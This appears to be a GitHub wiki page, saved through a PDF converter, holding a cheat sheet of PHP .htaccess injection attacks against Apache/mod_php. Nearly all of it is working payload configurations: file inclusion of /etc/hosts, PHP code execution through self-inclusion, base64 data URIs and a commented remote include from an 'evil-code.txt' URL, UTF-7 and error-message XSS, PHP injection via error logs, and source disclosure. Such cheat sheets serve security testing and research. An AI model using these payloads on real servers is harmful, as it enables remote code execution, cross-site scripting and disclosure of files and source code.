Features Business Explore Marketplace Pricing This repository Search Sign in or Sign up

sektioneins / pcc

Watch 66 Star 640 Fork 113

Code Issues 2 Pull requests 0 Projects 0 Wiki Insights

PHP htaccess injection cheat sheet

bef edited this page on Oct 27, 2014 · 3 revisions

Scenario

In a setup of Apache/mod_php an attacker is able to inject .htaccess (or php.ini or apache configuration). The injection directory has *AllowOverride Options* set (or *AllowOverride All*, which is very common as well).

Examples

Example 1a: file inclusion

index.php: (empty)

.htaccess:

Pages 2

Home

PHP htaccess injection cheat sheet

Clone this wiki locally

https://github.com/sektic

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

```
php_value auto_append_file /etc/hosts
```

Example 1b: PHP code execution

index.php: (empty)

.htaccess:

```
php_value auto_append_file .htaccess
#<?php phpinfo();
```

Example 1c: (direct/remote) file inclusion

index.php: (empty)

.htaccess:

```
php_flag allow_url_include 1
php_value auto_append_file data://text/plain;base64,PD9waHAgcGhwaW5mbygpOw==
#php_value auto_append_file data://text/plain,%3C%3Fphp+phpinfo%28%29%3B
#php_value auto_append_file https://sektioneins.de/evil-code.txt
```

Example 1d: XSS and PHP code execution with UTF-7

index.php: (empty)

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

.htaccess:

```
php_flag zend.multibyte 1
php_value zend.script_encoding "UTF-7"
php_value auto_append_file .htaccess
#+ADw-script+AD4-alert(1)+ADsAPA-/script+AD4 #+ADw?php phpinfo()+ADs
```

Example 2a: XSS via error message link

index.php: (produces error message)

```
<?php
include('foo');
```

.htaccess:

```
php_flag display_errors 1
php_flag html_errors 1
php_value docref_root "'><script>alert(1);</script>"
```

Example 2b: XSS via error message link extension

index.php:

```
<?php
include('foo');
```

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

.htaccess:

```
php_flag display_errors 1
php_flag html_errors 1
php_value docref_root "x"
php_value docref_ext "<script>alert(1);</script>"
```

Example 3a: XSS via phps color

Assumtion: phps source handler is activated.

```
<FilesMatch ".+\.phps$">
        SetHandler application/x-httpd-php-source
        Order Allow,Deny
        Allow from all
</FilesMatch>
```

index.phps:

```
<?php
test();
// comment
?>
text
```

.htaccess:

```
php_value highlight.comment '"><script>alert(1);</script>'
```

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

Example 3b: XSS via highlight_file() color

index.php:

```
<?php
highlight_file(__FILE__);
// comment
```

.htaccess:

```
php_value highlight.comment '"><script>alert(1);</script>'
```

Example 4a: failed PHP injection via error_log and include_path

In this example PHP correctly encodes HTML entities in log messages. The injection fails.

index.php:

```
<?php include('foo');
```

.htaccess:

```
php_value error_log /var/www/ex4a/foo.php
php_value include_path "<?php phpinfo(); __halt_compiler();"
```

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

Example 4b: failed PHP injection via error_log and auto_prepend_file

index.php: (empty)

.htaccess:

```
php_value error_log /var/www/ipc/ex4b/foo.php
php_value auto_prepend_file "<?php phpinfo(); __halt_compiler();"
```

Example 4c: PHP code injection via error_log and UTF-7

index.php: (empty)

.htaccess:

```
php_value error_log /var/www/ipc/ex4c/foo.php
#---- "<?php phpinfo(); __halt_compiler();" in UTF-7:
php_value include_path "+ADw?php phpinfo()+ADs +AF8AXw-halt+AF8-compiler()+ADs"

php_flag zend.multibyte 1
php_value zend.script_encoding "UTF-7"
```

Example 6: Source code disclosure

index.php:

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

```
<?php some_code();
```

.htaccess:

```
php_flag engine 0
```

© 2018 GitHub, Inc. Terms Privacy Security Status Help

Contact GitHub API Training Shop Blog About

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD